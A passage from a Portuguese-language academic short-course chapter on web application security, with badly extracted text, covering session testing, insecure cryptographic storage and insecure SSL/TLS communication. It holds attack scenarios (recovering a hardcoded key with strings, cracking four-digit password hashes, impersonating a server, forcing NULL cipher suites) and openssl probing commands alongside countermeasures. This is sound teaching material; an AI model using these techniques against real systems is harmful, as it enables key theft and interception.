6. Verique se a tela de autenticaao vulnervel a injeao de SQL. Em caso c e a ` c positivo, procure efetivar o ataque para averiguar se poss enganar o mee vel canismo de autenticaao. c 7. Anote URLs de pginas acess a veis somente a usurios autenticados, encerre a a sesso e tente acess-las diretamente. a a 8. Procure por parmetros que possam indicar se um usurio est ou no autena a a a ticado e, se exitirem, adultere o valor para sim. 9. Analise o mecanismo de recuperao de senhas e verique a diculdade de ca deduzir as respostas das perguntas secretas. Tente um ataque de fora bruta c contra elas para constatar a existncia de mecanismos de travamento. e 10. Utilize um proxy local para obter o identicador da sesso atual, desconecte-se a da aplicaao e realize uma requisio, utilizando o identicador obtido. c ca 11. Por meio de um proxy local, verique se os atributos secure e HttpOnly so a utilizados na proteo de cookies. ca 12. Utilize um analisador estat stico para vericar a aleatoriedade dos identicadores de sesso fornecidos pela aplicaao. a c 13. Intercepte uma requisiao com um proxy local e troque o valor do identicador c de sesso para outro qualquer. Verique se a resposta contm o valor xado. a e 6.5.5.4. Contramedidas Para obter mecanismos de autenticao e de gerenciamento de sesses robustos, ca o e necessrio observar diversos pontos importantes (Meucci et al., 2008; Stuttard and a Pinto, 2007): 1. Desabilite contas pr-denidas da aplicaao e das plataformas que a suportam, e c como bancos de dados, servidores web, sistemas operacionais, etc. 2. Implemente na aplicao pol ca ticas de senhas fortes que considerem tamanho m nimo, complexidade, troca per odica, histrico e travamento por mltiplas o u tentativas invlidas de autenticao. a ca 3. Sempre transmita credenciais de acesso e identicadores de sesses autenticao das por tneis protegidos criptogracamente. u 4. No cone em parmetros acess a a veis aos usurios, para decidir se esto ou no a a a autenticados. 5. Sempre antes de atender a uma requisiao a um recurso protegido, verique c se o usurio est autenticado e possui os devidos privilgios. a a e
271
6. Em mecanismos de recuperao de senhas, empregue perguntas secretas, cujas ca respostas no sejam facilmente dedut a veis. Limite o nmero de tentativas para u acerto das questes, para evitar ataques de fora bruta. Em caso de sucesso, o c envie uma mensagem automtica para o endereo de e-mail pr-cadastrado, a c e contendo um link para uma pgina efmera individualizada, na qual nova a e senha pode ser denida. 7. Exija sempre o fornecimento da senha atual para efetuar a troca de senha de um usurio. a 8. No crie esquemas de gerenciamento de sesses prprios. Utilize os fornecidos a o o pelas linguagens utilizadas no desenvolvimento da aplicaao. c 9. Certique-se de que os identicadores de sesso utilizados possuem boa aleaa toriedade. 10. Nunca aceite identicadores de sesso denidos pelo usurio. Caso isso ocorra, a a envie resposta com um novo valor. 11. Utilize os atributos secure e HttpOnly, em cookies, para proteg-los durante e a transmisso e contra acessos de cdigos no lado do cliente. a o 12. Encerre as sesses, automaticamente, aps um determinado per o o odo de ociosidade. 13. Quando o usurio se desconectar da aplicaao, invalide o identicador de sesso a c a associado a ele, no lado do servidor. Para isso, a funo espec ca ca do modelo de gerenciamento de sesses empregado deve ser chamada. o 6.5.6. Armazenamento Criptogrco Inseguro a 6.5.6.1. Descrio e Causas ca A criptograa moderna fornece um conjunto de tcnicas matemticas e computacioe a nais para atender a diversos dos requisitos de segurana da informaao. Atualmente, c c ela est presente no nosso dia-a-dia de maneira profusa, em protocolos de comunia caao, caixas eletrnicos, proteao de software e de contedo, urnas eletrnicas e c o c u o TV digital, entre outros exemplos. Infelizmente, porm, a implantaao de mecanise c mos criptogrcos requer diversos cuidados, que, muitas vezes, no so observados a a a e comprometem a segurana da soluo como um todo. c ca E relativamente comum, por exemplo, encontrar sistemas que apenas se preocupam em proteger as informaoes em trnsito e que se esquecem (ou ignoram) de c a proteg-las durante o armazenamento. Nesse caso, uma vulnerabilidade no servidor e pode ser suciente para recuperar as informaoes, que esto em claro no disco. O c a usurio malicioso, obviamente, no se esforar para quebrar a criptograa utilizada a a c a na proteao do canal de comunicao. c ca Por outro lado, quando existe a preocupao em cifrar dados sigilosos, a maior ca vulnerabilidade encontrada com relaao a proteo das chaves criptogrcas utilie c ` ca a zadas. Normalmente, os desenvolvedores as embutem no cdigo, achando que, uma o
272
vez compilados os programas, ser dif que algum as recupere. Este pensamento, a cil e muito comum, infelizmente, est equivocado. Por exemplo, se a chave foi colocada a como uma cadeia de caracteres, basta utilizar um comando como o strings do Linux, para encontrar a informao desejada. Caso a chave seja ofuscada, tcnicas de ca e depuraao do programa podem ser empregadas, chegando-se ao mesmo resultado. c Mesmo que fosse imposs descobrir a chave, por meio da anlise do binrio, vel a a tal prtica fere os preceitos de gerenciamento de chaves criptogrcas. O motivo a a e que a chave teria criptoper odo innito, isto , ela nunca expiraria, salvo se novo e binrio fosse gerado, com substituiao da chave. Note-se que o objetivo de denir a c um tempo mximo para o uso de uma chave limitar: a quantidade de texto cifrado a e para criptoanlise; o montante de informao em caso de comprometimento; o uso a ca do algoritmo ao tempo de vida esperado; o tempo dispon para ataques de fora vel c bruta (Menezes et al., 2001). Pensando no ciclo de vida das chaves criptogrcas, um ponto que merece, a mas no recebe, bastante atenao a fase de criaao, que deve empregar mtodos a c e c e que garantam um bom n de aleatoriedade. No incomum encontrar programas vel a e que baseiam a geraao de chaves em funoes como rand(), na linguagem C, e em c c classes como Random(), em Java. Ou, pior ainda, empregam cadeias xas como 01234567..., 000000... e ..., as quais, dada a freqncia com que aparecem, ue so candidatas naturais a serem testadas. a Muitas empresas utilizam cifras caseiras ou clssicas na proteo de informaa ca oes valiosas, conforme constatado em diversas auditorias e anlises de vulnerabilic a dades realizadas pelos autores. Na grande maioria dos casos, empregavam-se cifras de substituiao monoalfabtica com chaves xas como parte da transformaao. Em c e c outros, as informaoes eram apenas codicadas em BASE64. No nem necessc a e a rio dizer que todas essas soluoes fornecem um n de segurana quase nulo. Um c vel c pouco melhor, mas ainda problemtico face ao valor das informaoes protegidas, a c e o uso de DES simples, contra o qual ataques de fora bruta so viveis a um custo c a a relativamente baixo. Aspectos mais sutis, com relaao ao armazenamento seguro de informaoes, c c esto relacionados com detalhes de desenvolvimento da soluo. Por exemplo, se a ca as posioes de memria contendo chaves criptogrcas no forem zeradas antes de c o a a liberadas, ou se essas mesmas regies forem para disco, no processo de swap do o sistema operacional, acesso no autorizado `s chaves poder ocorrer. a a a 6.5.6.2. Cenrios de Explorao a ca Cenrio 1: Recuperando chaves embutidas a Nesse cenrio, um programador embute a chave criptogrca diretamente no cdigo a a o do programa, conforme ilustrado a seguir: #include <stdio.h> int main() {
273
char key[] = "0a3bc178940fd43047027cda807409af"; ... printf("Cifrando dados. Aguarde...\n"); ... } O programa compilado, gerando o binrio cifra, e, por essa razo, o dee a a senvolvedor julga que a chave est protegida de acessos ileg a timos. O usurio mal a intencionado, ao obter o programa, executa imediatamente o comando strings do Linux sobre o binrio, gerando a sa a da: /lib/ld-linux.so.2 #IB __gmon_start__ libc.so.6 _IO_stdin_used puts __libc_start_main GLIBC_2.0 PTRh 0a3b c178 940f d430 4702 7cda 8074 09af [^_] Cifrando dados. Aguarde... Pronto! A chave aparece na lista de cadeia de caracteres do programa, agrupada de quatro em quatro d gitos hexadecimais. Cenrio 2: Proteo de dados com primitiva inadequada a ca Uma aplicaao utiliza senhas de quatro d c gitos numricos para autenticar os usurios e a e, para evitar ataque de fora bruta, trava a conta a cada trs tentativas malsucedidas c e e consecutivas de autenticaao. Seguindo o modelo de ambientes Unix, somente os c hashes das senhas so armazenados e, com isso, deseja-se prover o sigilo delas, a graas ` propriedade de resistncia da pr-imagem, apresentada por funoes de hash c a e e c criptogrcas. A soluao, nesse caso espec a c co, no adequada, pois pode ser violada a e da seguinte maneira:
274
1. O atacante obtm o arquivo contendo os pares (usurio, senha) e, pelo tamanho e a do hash, seleciona algumas funes candidatas. co 2. Para cada uma das funoes candidatas, ele gera uma tabela contendo senha e c valor hash, para todas as dez mil senhas poss veis (quatro d gitos, dez possibilidades por posio). ca 3. O usurio malicioso cruza, ento, o arquivo de senhas com as diversas tabelas, a a por meio do campo hash, e a correta ser aquela que possuir todos os valores. a O grande problema nesse cenrio que o dom de entrada muito pequeno, a e nio e com apenas dez mil elementos. Assim, mesmo que salts fossem empregados, ainda seria poss derrotar o mecanismo, em um tempo fact vel vel. 6.5.6.3. Testes A melhor maneira de vericar a qualidade das solues criptogrcas adotadas por co a uma aplicaao por meio da reviso de cdigo, pois, assim, todos os detalhes de c e a o implementaao podem ser avaliados. Testes caixa-preta devem ser efetuados para c se encontrar problemas bvios: o 1. Execute o comando strings do Linux sobre os arquivos binrios da aplicaao a c e verique a presena de chaves embutidas. c 2. Analise todos os arquivos de congurao da aplicaao e verique se no posca c a suem chaves criptogrcas em claro. a 3. Colete amostras de material cifrado pela aplicaao e procure por padres que c o indiquem o uso de cifras de substituiao por caractere ou o emprego de esquec mas de codicaao. c 4. Se funes de hash criptogrcas forem utilizadas na proteao de senhas, veco a c rique se a cardinalidade do dom nio de entrada no pequena, permitindo a e ataques de dicionrio. a 6.5.6.4. Contramedidas Um armazenamento seguro de informaes requer a seleo adequada de criptossisco ca temas, o gerenciamento das chaves criptogrcas utilizadas e o zelo adequado com a a manipulao de chaves pelos programas (Howard et al., 2005; Meucci et al., 2008): ca 1. Classique as informaoes e cifre aquelas que necessitam satisfazer o requisito c de condencialidade. 2. Se no for necessrio, no armazene dados sens a a a veis, aps serem processados, o evitando, assim, ter de proteg-los. Um exemplo disso o pagamento com e e cartes, que necessita do nmero de conta, at a transaao passar pelo processo o u e c de autorizao; aps isso, ele pode, geralmente, ser descartado (PCI, 2009a,b). ca o
275
3. Crie e utilize processos e procedimentos para gerenciamento de chaves criptogrcas, para que estas sejam protegidas durante todo o ciclo de vida, que vai a da criao a destruiao (Menezes et al., 2001; PCI, 2009a,b). ca ` c 4. No crie seus prprios algoritmos e protocolos criptogrcos, pois, mesmo a o a quando escritos por criptlogos de primeira linha, eventualmente, apresentam o vulnerabilidades (Knudsen, 2005; Pramstaller et al., 2005). 5. No utilize algoritmos criptogrcos com fraquezas conhecidas, como DES, a a MD5 (Wang and Yu, 2005) e SHA-1 (Wang and Lisa, 2005). Embora este ultimo ainda no tenha sido completamente quebrado, j teve a segurana a a c terica reduzida consideravelmente. o 6. Utilize bons geradores de nmeros pseudo-aleatrios para a criao de chaves. u o ca Logo, nunca utilize com esse propsito funoes como rand() da linguagem C, o c por exemplo. 7. Considere realizar as operaoes criptogrcas e armazenar as chaves relacioc a nadas, em hardware seguro, quando os dados protegidos forem extremamente sens veis. Parta da mxima de que Software no pode proteger a si prprio a a o (Howard et al., 2005). 8. Se no for poss proteger chaves por meio de hardware seguro, utilize proa vel tocolos de partilha de segredos com vrios custodiantes. a 9. Limpe a memria alocada para chaves criptogrcas antes de liber-la para o o a a sistema operacional. 10. Nunca embuta chaves criptogrcas e senhas no cdigo do programa, pois so a o a facilmente recuperveis. Dependendo de como estiverem, basta um comando a para realizar a tarefa. 11. Marque as pginas de memria, contendo chaves criptogrcas, como ineleg a o a veis para swap. 6.5.7. Comunicao Insegura ca 6.5.7.1. Descrio e Causas ca Comunicaao segura de rede ocorre quando os seguintes requisitos de segurana da c c informao so satisfeitos (Howard et al., 2005; Stallings, 2005): ca a Autenticaao de entidades as identidades das partes envolvidas na comunicac ao so corroboradas. Isto importante para certicar-se de que a conversaao c a e c ocorre com a entidade correta, ainda mais que ataques de redirecionamento so relativamente comuns. a Autenticaao da origem da mensagem corroborao de identidade do remec ca tente da mensagem, para evitar falsicaao de dados. c
276
Integridade informaes enviadas no so adulteradas em trnsito. Anal, co a a a ningum quer que a conta destino de uma transferncia bancria seja alterada e e a para a de um atacante. Condencialidade informaoes transportadas pelo canal no so reveladas a c a a terceiros que no sejam parte da comunicao. Por exemplo, senhas e nmeros a ca u de carto de crdito devem ser conhecidos apenas pelas partes autorizadas. a e Em aplicaoes web, esses requisitos so atendidos, normalmente, pelo uso c a dos protocolos SSL e TLS, para transporte de dados HTTP, os quais realizam um otimo trabalho, quando implantados corretamente. Infelizmente, na prtica, servi a dores no so corretamente congurados, do ponto de vista de segurana, e clientes a a c de acesso personalizados no implementam algumas sutilezas desses protocolos adea quadamente. O resultado disso que a violao dos requisitos supracitados torna-se e ca completamente fact vel. Para piorar ainda mais a situaao, ainda h os que acrec a ditam que o uso de HTTPS, por si s, suciente para tornar uma aplicao web o e ca segura! Do lado do servidor, um problema muito comum ocorre com o certicado digital utilizado na congurao do tnel SSL/TLS. Inmeros so os casos de aplicaoes ca u u a c que empregam certicados auto-assinados, expirados ou emitidos por autoridades certicadoras caseiras, das quais os navegadores e sistemas clientes no possuem a a chave pblica autntica, para validao de assinatura. Em qualquer um desses u e ca casos, uma mensagem de erro, como a ilustrada pela Figura 6.17, exibida ao usue a rio. Como o objetivo deste sempre utilizar o sistema, provavelmente, ele ignorar e a o alerta e continuar o acesso, ainda mais impulsionado pelo hbito criado pela a a aplicao. Posteriormente, se ele for v ca tima de um ataque de phishing ou de redirecionamento, a tela de aviso aparecer igualmente e a pessoa prosseguir como a a acostumada. Outro problema resultante de m congurao o suporte a su criptoa ca e tes grcas fracas e a verses antigas do protocolo SSL. Existem algumas su para a o tes testes, que eram habilitadas por padro em sistemas antigos, as quais no utilizam a a cifras para proteger a condencialidade das informaoes trafegadas. Outras, por sua c vez, cifram o canal, mas com algoritmos datados ou de exportao, que podem ser ca quebrados por fora bruta. J no caso de SSL 2.0, poss forar a escolha de c a e vel c algoritmos, por meio da adulteraao do handshake, e, tambm, excluir bytes no nal c e de cada mensagem, sem ser detectado, dada uma falha na geraao do MAC. c Um ponto que nunca recebe a atenao que merece a proteao da chave c e c privada utilizada por esses protocolos. Em ambientes t picos, ela protegida por e uma senha, a qual embutida em scripts de inicializaao do servidor, para que e c seja carregada automaticamente neste instante. Alm disso, normalmente, no h e a a restrioes quanto a leitura desses arquivos, o que permite que qualquer usurio acesse c ` a a chave privada, aps inspeao da senha utilizada. Embora essa abordagem seja o c melhor, em termos operacionais, pssima para segurana. Uma vez conseguidos e e c a chave privada e certicado de uma aplicaao web, ca muito fcil personic-la c a a de maneira perfeita, pois nenhum navegador ir reclamar de no ter conseguido a a
277
Figura 6.17. Erro na validao do certicado. ca
completar o handshake SSL/TLS. Para nalizar o lado da aplicao, algumas delas protegem o transporte de ca informaes sigilosas, por meio do protocolo HTTPS, congurando-o perfeitamente, co com su criptogrcas fortes e certicado digital vlido. No obstante, permitem tes a a a que o mesmo recurso seja acessado, tambm, por meio de HTTP simples. Assim, e sem muita diculdade, um usurio pode ser induzido a acessar pginas sens a a veis, por meio de HTTP, quando, ento, informaao poder ser capturada em trnsito. a c a a Do lado cliente, os problemas surgem quando as informaes do certicado co digital apresentado pelo servidor no so validadas, ou quando o protocolo no a a a e seguido a risca. Logo, se a data do acesso estiver fora do prazo de validade do ` certicado, se ele estiver revogado ou se no for poss vericar as assinaturas dia vel gitais na cadeia de certicaao, o handshake deve ser nalizado com erro. Outro c aspecto importante considerado na especicao do HTTPS, mas no pelos protoca a colos SSL/TLS, que o nome do dom e nio sendo acessado deve ser conferido com o contido no certicado (Howard et al., 2005; Oaks, 2001). O resultado da no a observao deste ponto descrito no Cenrio 1, da Seao 6.5.7.2. ca e a c Por m, observe-se a Figura 6.17 novamente. O navegador, face a um problema na negociao do protocolo SSL, d a opao ao usurio, potencialmente leigo ca a c a em segurana, de adicionar uma exceao e continuar o acesso ao site. Entregar c c uma deciso de segurana ao usurio , conforme Howard et al. (2005), uma vula c a e nerabilidade, pois no se pode esperar que ele sempre escolha a opo mais segura. a ca
278
Consonantemente, os autores consideram que isso seja um defeito de projeto dos navegadores, que deveriam considerar uma falha no estabelecimento do tnel SSL, u como um problema de conectividade de rede, por exemplo, no qual o usurio a e impedido de prosseguir. 6.5.7.2. Cenrios de Explorao a ca Cenrio 1: Personicao de servidor a ca Este cenrio considera um navegador web que no verica se o nome de dom do a a nio site sendo acessado o mesmo que o contido no certicado digital apresentado pelo e servidor: 1. O atacante obtm um certicado digital e chave privada correspondente ve a lidos, de um dom nio XYZ qualquer, por meio da exploraao de um servidor c vulnervel, ou gerando as chaves e comprando o certicado de uma autoridade a certicadora com processos de vericaao de identidade inecazes. c 2. Um servidor web criado com contedo clonado do dom ABC e com HTTPS e u nio congurado com o par de chaves do primeiro passo. 3. Um e-mail enviado a um conjunto de v e timas para que acessem o servidor malicioso, como sendo do dom nio ABC. 4. Durante a negociaao SSL, o servidor clonado envia o certicado do dom c nio XYZ para o navegador, que verica, com sucesso, data de validade, assinaturas da cadeia de certicaao e estado no revogado, mas no valida o dom c a a nio. Como nenhum erro ocorre, a chave pblica extra e utilizada para compor u e da a mensagem client_key_exchange, enviada, em seguida, ao servidor. 5. O servidor capaz de extrair o contedo da mensagem client_key_exchange, e u pois possui a chave privada associada ao certicado do dom nio XYZ, e completar as operaes para estabelecimento de chaves. co 6. As mensagens change_cipher_spec e finished so trocadas entre as duas a partes e o protocolo encerra-se normalmente, com a v tima conectada a um servidor falsicado. Cenrio 2: Comunicao em claro a ca Considere-se um servidor web congurado para aceitar su criptogrca fracas. tes a A exploraao dessa vulnerabilidade pode ocorrer da seguinte maneira: c 1. Por meio de outra vulnerabilidade no cliente, o atacante fora que a lista de c su enviadas na mensagem client_hello contenha apenas a NULL-SHA. tes 2. O servidor escolhe os algoritmos para proteao do tnel SSL, com base na c u interseco das listas de su suportadas por ambos que, no caso, a prpria ca tes e o NULL-SHA.
279
3. O atacante captura os pacotes de rede e extrai as informaoes desejadas que, c embora encapsuladas por SSL, no esto cifradas, conforme pode-se observar a a pela Figura 6.18.
Figura 6.18. Trfego TLS em claro. a
6.5.7.3. Testes Para testar a segurana da comunicao com a aplicao web, siga o seguinte roteiro: c ca ca 1. Acesse a aplicao web com os principais navegadores e verique se algum ca deles reclama do certicado apresentado pelo servidor. 2. Para vericar quais su tes criptogrcas so suportadas, utilize o OpenSSL, a a com a seguinte sintaxe: openssl s_client -connect <IP servidor>:<porta> -cipher <sute> Por exemplo, para testar se a su NULL-MD5 suportada pelo servidor com te e IP 192.168.10.100, execute o comando abaixo e verique se algum erro ocorre: openssl s_client -connect 192.168.10.100:443 -cipher NULL-MD5
280
... SSL handshake has read 2912 bytes and written 228 bytes --New, TLSv1/SSLv3, Cipher is NULL-MD5 Server public key is 1024 bit Compression: NONE Expansion: NONE SSL-Session: Protocol : TLSv1 Cipher : NULL-MD5 ... Alternativamente, utilize o utilitrio SSLDigger da Foundstone, que, alm de a e vericar as su e protocolos suportados, atribui uma nota denotando o n tes vel de segurana estimado da conguraao. c c 3. Para testar se SSL 2.0 suportado, uma variante do comando acima pode ser e empregada: openssl s_client -ssl2 -connect <IP servidor>:<porta> 4. Navegue pela aplicaao e levante todas as pginas que so acess c a a veis por HTTPS. Para cada uma delas, altere o protocolo para HTTP e verique se a aplicao continua atendendo a requisiao. ca c 5. Acesse os arquivos de congurao do servidor SSL/TLS e verique se a chave ca privada carregada automaticamente, a partir de um arquivo com senha eme butida. 6. Se houver desenvolvimento de cliente SSL/TLS, instale um servidor web com esses protocolos congurados e acesse-o com o primeiro. Utilize, alternadamente, certicados vencidos, revogados e com nome de dom nio diferente do campo CN, e verique se o software aponta o erro na negociao do protocolo. ca 6.5.7.4. Contramedidas Os seguintes pontos devem ser observados para evitar-se uma comunicaao insegura c com a aplicaao web: c 1. Congure o servidor para aceitar apenas su criptogrcas fortes, descartes a tando, assim, algoritmos de exportao, datados e quebrados. ca 2. No utilize verses de SSL anteriores a 3.0 e prera o uso do protocolo TLS. a o 3. Compre e instale um certicado digital de uma autoridade certicadora conhecida e convel. No deixe que o certicado expire, comprando um novo, a a antes que isso acontea. c
281
4. No permita que um recurso servido por meio do protocolo HTTPS seja acesa s por HTTP. vel 5. Proteja a chave privada do servidor, preferencialmente, partilhando-a entre vrios custodiantes e fornecendo-a ao sistema, sempre que necessrio, por meio a a de cerimnia ocial. o 6. Caso implemente o lado cliente dos protocolos SSL/TLS, lembre-se sempre de vericar a validade do certicado recebido e conferir o nome de dom nio acessado contra o contido no certicado.
6.6. Consideraes Finais co

A maior parcela das vulnerabilidades encontradas, nos ultimos anos, est relacio a nada a aplicaoes web. Essa realidade decorrente, primeiro, da massicaao desse c e c tipo de sistema, que, atualmente, empregado para comrcio eletrnico, internet e e o banking, apresentaao de exames laboratoriais, interaao com o governo, ensino a c c ` distncia e gerenciamento de equipamentos de redes, entre diversos outros exema plos. Em segundo lugar, resultado de ciclos de desenvolvimento de software que e no consideram segurana em (quase) nenhuma das etapas do processo. a c O OWASP Top Ten e demais projetos do grupo tm o objetivo de sensibilizar e a comunidade para esses problemas que afetam aplicaoes web, denir as melhores c prticas do setor e fornecer metodologias e ferramentas para testar a (in)segurana a c desses sistemas. Todo o esforo dessas iniciativas foi reconhecido pela indstria de c u cartes de pagamento, que incluiu, como requisito expl o cito dos padres PCI DSS o (PCI, 2009a) e PCI PA-DSS (PCI, 2009b), a necessidade de controles para todos os itens do Top Ten. E primordial que essa preocupao se estenda a todos aqueles que ca desenvolvem software para web, pois, a cada dia, informaoes cada vez mais cr c ticas so manipuladas nesses ambientes. Se isso no ocorrer, os ataques resultaro em a a a preju zos nanceiros cada vez maiores e violaoes freqentes de privacidade. c u
Agradecimentos
Os autores gostariam de agradecer a Mario Luiz Bernardinelli pela reviso do maa terial e preciosas sugestes. o
Referncias e
Anley, C., Heasman, J., Linder, F. F., and Richarte, G. (2007). The Shellcoders Handbook: Discovering and Exploiting Security Holes. Wiley Publishing, Inc. Barker, E., Barker, W., Burr, W., Polk, W., and Smid, M. (2007a). Recommendation for key management part 1: General (revised). NIST Special Publication 800-57, NIST. Barker, E., Barker, W., Burr, W., Polk, W., and Smid, M. (2007b). Recommendation for key management part 2: Best practices for key management organization. NIST Special Publication 800-57, NIST.
282
Dowd, M., McDonald, J., and Schuh, J. (2006). The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities. Addison-Wesley Professional. Fielding, R., Gettys, J., Mogul, J., Frystyk, H., Masinter, L., Leach, P., and BernersLee, T. (1999). RFC 2616: Hypertext Transfer Protocol HTTP/1.1. Fogie, S., Grossman, J., Hansen, R. R., Rager, A., and Petkov, P. D. (2007). XSS Attacks: Cross Site Scripting Exploits and Defense. Syngress. Franks, J., Hallam-Baker, P., Hostetler, J., Lawrence, S., Leach, P., Luotonen, A., and Stewart, L. (1999). RFC 2617: HTTP Authentication: Basic and Digest Access Authentication. Homan, B. and Sullivan, B. (2007). Ajax Security. Addison-Wesley Professional, 1st edition. Howard, M., LeBlanc, D., and Viega, J. (2005). 19 Deadly Sins of Software Security: Programming Flaws and How to Fix Them. McGraw-Hill Osborne Media. Kissel, R., Stine, K., Scholl, M., Rossman, H., Fahlsing, J., and Gulick, J. (2008). Security considerations in the system development life cycle. NIST Special Publication SP 800-64, National Institute of Standards and Technology. Knudsen, L. (2005). SMASH A Cryptographic Hash Function. In Fast Software Encryption: 12th International Workshop, FSE 2005, volume 3557 of Lecture Notes in Computer Science, pages 228242. Springer. Litcheld, D. (2007). The Oracle Hackers Handbook Hacking and Defending Oracle. Wiley Publishing, Inc. McGraw, G. (2006). Software Security: Building Security In. Addison-Wesley Professional. Menezes, A. J., van Oorschot, P. C., and Vanstone, S. A. (2001). Handbook of Applied Cryptography. CRC Press, 5th edition. Meucci, M. et al. (2008). OWASP testing guide v3.0. OWASP. Oaks, S. (2001). JavaTM Security. OReilly, 2nd edition. PCI (2009a). Payment Card Industry (PCI) Data Security Standard Requirements and Security Assessment Procedures version 1.2.1. PCI Security Standards Council. PCI (2009b). Payment Card Industry (PCI) Payment Application Data Security Standard (PA-DSS) version 1.2.1. PCI Security Standards Council. Pramstaller, N., Rechberger, C., and Rijmen, V. (2005). Breaking a New Hash Function Design Strategy Called SMASH. In Selected Areas in Cryptography, 12th International Workshop, SAC 2005, volume 3897 of Lecture Notes in Computer Science, pages 234244. Springer.
283
SANS (2008a). Security 519 web application workshop. SANS Institute. SANS (2008b). Security 542 advanced web application penetration testing. SANS Institute. Seacord, R. C. (2005). Secure Coding in C and C++. Addison-Wesley Professional. Shah, S. (2007). Web 2.0 Security Defending AJAX, RIA, and SOA. Charles River Media. Spett, K. (2003). Blind SQL Injection Are your web applications vulnerable? SPI Labs. Stallings, W. (2005). Cryptography and Network Security. Prentice Hall, 4th edition. Stuttard, D. and Pinto, M. (2007). The Web Application Hackers Handbook. Wiley Publishing, Inc. van der Stock, A., Cruz, D., Chapman, J., Lowery, D., Keary, E., Morana, M. M., Rook, D., and Prego, J. W. P. (2008). OWASP code review guide v1.1. OWASP. Viega, J. and McGraw, G. (2001). Building Secure Software: How to Avoid Security Problems the Right Way. Addison-Wesley Professional. Wang, X. and Lisa, Y. Y. (2005). Finding Collisions in the Full SHA-1. In CRYPTO 2005: 25th Annual International Cryptology Conference, volume 3621 of Lecture Notes in Computer Science. Springer. Wang, X. and Yu, H. (2005). How to Break MD5 and Other Hash Functions. In EUROCRYPT 2005, 24th Annual International Conference on the Theory and Applications of Cryptographic Techniques, volume 3494 of Lecture Notes in Computer Science, pages 1935. Springer. Wiesmann, A., Curphey, M., van der Stock, A., and Stirbei, R. (2005). A guide to building secure web applications and web services. OWASP. Wysopal, C., Nelson, L., Zovi, D. D., and Justin, E. (2006). The Art of Software Security Testing: Identifying Software Security Flaws. Symantec Press.

2009 - Vulnerabilidades em Aplicações Web e Mecanismos de Proteção

Caricato da

Informazioni sul documento

Titolo originale

Copyright

Formati disponibili

Condividi questo documento

Condividi o incorpora il documento

Opzioni di condivisione

Hai trovato utile questo documento?

Questo contenuto è inappropriato?

Copyright:

Formati disponibili

2009 - Vulnerabilidades em Aplicações Web e Mecanismos de Proteção

Caricato da

Copyright:

Formati disponibili

Cap tulo

Campinas, SP, Brasil uto@cpqd.com.br

So Paulo, SP, Brasil a sandro@ginux.ufla.br

Minicursos SBSeg 2009

Figura 6.1. Progresso da ocorrncia das principais vulnerabilidades reportadas ao CVE. a e

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

6.2. Ciclo de Desenvolvimento de Software Seguro

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

6.4. Reviso de Conceitos a

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

Figura 6.2. Exemplo de vulnerabilidade XSS.

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Figura 6.3. Exemplo de XSS reetido.

Figura 6.4. Exemplo de XSS armazenado.

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

Figura 6.5. Identicador de sesso do usurio guest. a a

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Figura 6.7. Operao normal de uma aplicao. ca ca

Figura 6.8. Dados extra dos por meio de injeo de SQL. ca

Minicursos SBSeg 2009

SGBD MySQL Oracle DB2 SQL Server

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Figura 6.9. Mensagens exibidas em resposta a diversas entradas.

Figura 6.10. Teste de comprimento do nome igual a trs. e

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

Figura 6.11. Passos de um ataque CSRF.

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Figura 6.12. Estrutura da requisio para desativao do ltro de MAC. ca ca

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

Figura 6.13. Exemplos de erros.

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Figura 6.14. Tela de autenticao e formato da requisio. ca ca

Figura 6.15. Requisio sem o parmetro Password ca a .

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais

Figura 6.17. Erro na validao do certicado. ca

Minicursos SBSeg 2009

IX Simpsio Brasileiro em Segurana da Informao e de Sistemas Computacionais